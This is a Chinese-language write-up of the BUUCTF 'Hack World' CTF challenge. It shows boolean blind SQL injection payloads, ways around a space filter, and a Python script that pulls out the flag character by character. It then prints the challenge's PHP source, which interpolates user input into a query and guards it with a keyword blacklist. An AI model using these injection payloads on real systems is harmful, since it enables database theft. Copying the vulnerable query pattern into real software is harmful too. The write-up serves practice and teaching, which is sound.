BUUCTF [CISCN2019 华北赛区 Day2 Web1] Hack World
启动环境:
提示了存在flag
表与flag
列,先输入正常内容1
:
可以得到正常的回显,再测试2
:
再输入999
,得到错误提示:
输入2-1
时,得到注入提示:
在判断数值型和字符型注入时,可以通过提交数学式的方式,例如:id=2/2
,字符型返回id=2
的内容,数字型则返回id=1
的结果。
输入2/2
判断注入类型:
得到正常回显,猜测为数字型的盲注,使用length()
方法测试:
(length(database())>4)
得到正常回显,即为1
的结果:
当尝试<4
时:
(length(database())<4)
基本断定为数字型的布尔盲注。
通过后续的语句测试,好像过滤了(空格)
,所以采用()
作为语句间的分隔
给出了表名列名,可以直接构造Payload读取flag
:
id=(ascii(substr((select(flag)from(flag)),0,1))<120)
可以成功,估算flag的长度为50
,使用二分法盲注的Python3脚本爆出flag:
import requests
url = 'http://c6140ee3-6f16-4096-8f22-06ecaa6738ed.node3.buuoj.cn/index.php'
flag = ''
for i in range(1, 50):
max = 127
min = 0
for c in range(0, 127):
s = int((max + min) / 2)
payload = '(ascii(substr((select(flag)from(flag)),%d,1))<%d)' % (i, s)
r = requests.post(url, data={'id': payload})
if 'Hello, glzjin wants a girlfriend.' in str(r.content):
max = s
else:
min = s
if (max - min) <= 1:
flag += chr(max-1)
print(flag)
break
print(flag)
得到flag
题目限制了大部分函数与关键字,以及最重要的空格。
- 空格可以使用括号,即任何可以计算结果的语句都可以用括号包围起来;
Tab键
、%09
、%0a
、%0b
、%0c
、/**/
也可以作为空格
还可以使用1^
异或这种方法:
- 1^1=0
- 0^0=0
- 1^0=1
即构造id=1^(if((ascii(substr((select(flag)from(flag)),1,1))=102),0,1))
这种形式也可以。
题目源码:
<?php
$dbuser='root';
$dbpass='root';
function safe($sql){
#被过滤的内容 函数基本没过滤
$blackList = array(' ','||','#','-',';','&','+','or','and','`','"','insert','group','limit','update','delete','*','into','union','load_file','outfile','./');
foreach($blackList as $blackitem){
if(stripos($sql,$blackitem)){
return False;
}
}
return True;
}
if(isset($_POST['id'])){
$id = $_POST['id'];
}else{
die();
}
$db = mysql_connect("localhost",$dbuser,$dbpass);
if(!$db){
die(mysql_error());
}
mysql_select_db("ctf",$db);
if(safe($id)){
$query = mysql_query("SELECT content from passage WHERE id = ${id} limit 0,1");
if($query){
$result = mysql_fetch_array($query);
if($result){
echo $result['content'];
}else{
echo "Error Occured When Fetch Result.";
}
}else{
var_dump($query);
}
}else{
die("SQL Injection Checked.");
}
从源码来看,黑名单中限制了大部分常用关键字。
stripos()
函数查找字符串在另一字符串中第一次出现的位置(不区分大小写)